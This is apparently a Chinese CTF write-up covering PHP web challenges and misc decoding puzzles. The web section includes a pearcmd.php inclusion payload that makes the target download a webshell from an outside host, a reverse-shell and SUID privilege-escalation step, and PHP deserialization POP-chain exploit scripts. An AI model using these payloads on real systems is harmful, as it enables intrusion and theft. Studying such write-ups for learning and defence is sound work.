本WP来自来自队友 @Artone ,这里搬来自己记录下 备忘录

WEB

rce_me

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

题目给了源码

 <?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

题目提示要rce,而漏洞的利用点是一个include文件包含,

php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用

直接包含flag回显权限不够,所以考虑rce提权

黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE

首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php

pearcmd的常见思路是写文件getshell

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php

但是在写文件时却不能采用此方法,$_SERVER[“QUERY_STRING”]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败

所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着可以实现远程文件下载

payload:

http://80.endpoint-de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:81&&+download+http://ip:port/shell.php

利用一句话木马反弹shell,再进行一个suid的提权

payload:

find / -perm -u=s -type f 2>/dev/null

final payload:

/usr/bin/date -f /flag

step_by_step-v3

<?php
error_reporting(0);
class yang
{
    public $y1;//$y1 = new bei()                            $y1 = new cheng()

    public function __construct()
    {
        $this->y1->magic();//访问 __call()
    }

    public function __tostring()
    {
        ($this->y1)();//          phpinfo()
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;//$c1 = new yang()

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();//hint
    }
}

class bei
{
    public $b1;//$b1 = new yang()
    public $b2;

    public function __set($k1,$k2)  //不可访问的变量赋值
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

if (isset($_POST['ans'])) {
    unserialize($_POST['ans']);
} else {
    highlight_file(__FILE__);
}
?>

利用点在

public function __tostring()
    {
        ($this->y1)();//          phpinfo()
    }

可以读取到phpinfo

起始点在cheng::__wakeup

pop:

cheng::__wakeup ->bei::__set -> yang::__tostring

exp:

<?php
// cheng::__wakeup ->bei::__set -> yang::__tostring
class yang{
    public $y1;
    public function __construct($y1){
        $this->y1 = $y1;
    }
}
class cheng{
    public $c1;
    public function __construct($c1)
    {
        $this->c1 = $c1;
    }
}
class bei{
    public $b1;
    public function __construct($b1){
        $this->b1 = $b1;
    }
}

$ya = new cheng(new bei(new yang('phpinfo')));
$ser = serialize($ya);
echo $ser;
echo urlencode($ser);
?>

Safe pop

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    private $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct

为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发,

__call()//在对象中调用一个不可访问方法时调用

注意到class A有一个

return $this->a->$p();

p可控,只要让他成为一个不可访问的方法即可触发call

__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名

class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子

$this->a->$p;

pop:

b::__destruct() -> a::__get() -> Fun::__call() -> Test::getFlag

exp:

<?php
class Fun{
	
}
class A{
	public $a;
	public function __construct($a){
		$this -> a = $a;
	}
}
class B{
	public $p;
	public $a;
	public function __construct($p,$a){
		$this -> p = $p;
		$this -> a = $a;
	}
}
$p = "Test::getFlag";
$a = new A(new Fun());
$b = new B($a,$p);
echo serialize($b);
$arr = array($b,null);
echo serialize($arr);
$serstr = serialize($arr);
$serstr = str_replace(":0:{}", ":1:{}", $serstr);
$serstr = str_replace(":1;N", ":0;N", $serstr);
echo $serstr;
echo '<br/>';
echo urlencode($serstr);
?>

这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法

throw new Exception("no pop");

这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象

misc

签到

给了一段编码

值得注意的是文件名33.txt

ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2===

这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么

尝试rot13先解一次码,再base32成功得到flag

where_is_secret

给了一张图片,并在hint中给了encode脚本

from PIL import Image
import math


def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5) #长度的一半,并向上取整
    im = Image.new("RGB", (width, width), 0x0)  #新建一张图

    x, y = 0, 0
    for i in text:
        index = ord(i)  #转化为数字
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im


if __name__ == '__main__':
    with open("829962.txt", encoding="gbk") as f:  #以gbk的方式打开()
        all_text = f.read()
        im = encode(all_text)
        im.save("out.bmp")

分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里

exp:

from PIL import Image
img = Image.open('out.bmp')
x, y = img.size
flag = ""
flag1 = ""
with open('ans.txt') as f:
    for i in range(x):
        for j in range(y):
            pix = img.getpixel((j, i))
            index = (pix[1] << 8) + pix[2]
            flag = flag + chr(index)
# print(flag)
for i in range(1, len(flag)-1):
    print(flag[i])

    if(((ord(flag[i])<=125 and ord(flag[i])>=97) or (ord(flag[i])<=57 and ord(flag[i])>=48)or(ord(flag[i])<=95 and ord(flag[i])>=65))and (ord(flag[i+1])>125 or ord(flag[i+1])<48) and (ord(flag[i-1])>125 or ord(flag[i-1])<48) or ord(flag[i])==95):
        flag1 = flag1 +"@"+flag[i-1] + flag[i] + flag[i+1]
print(flag1)

得到的是一段中文,在里面穿插了flag

由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍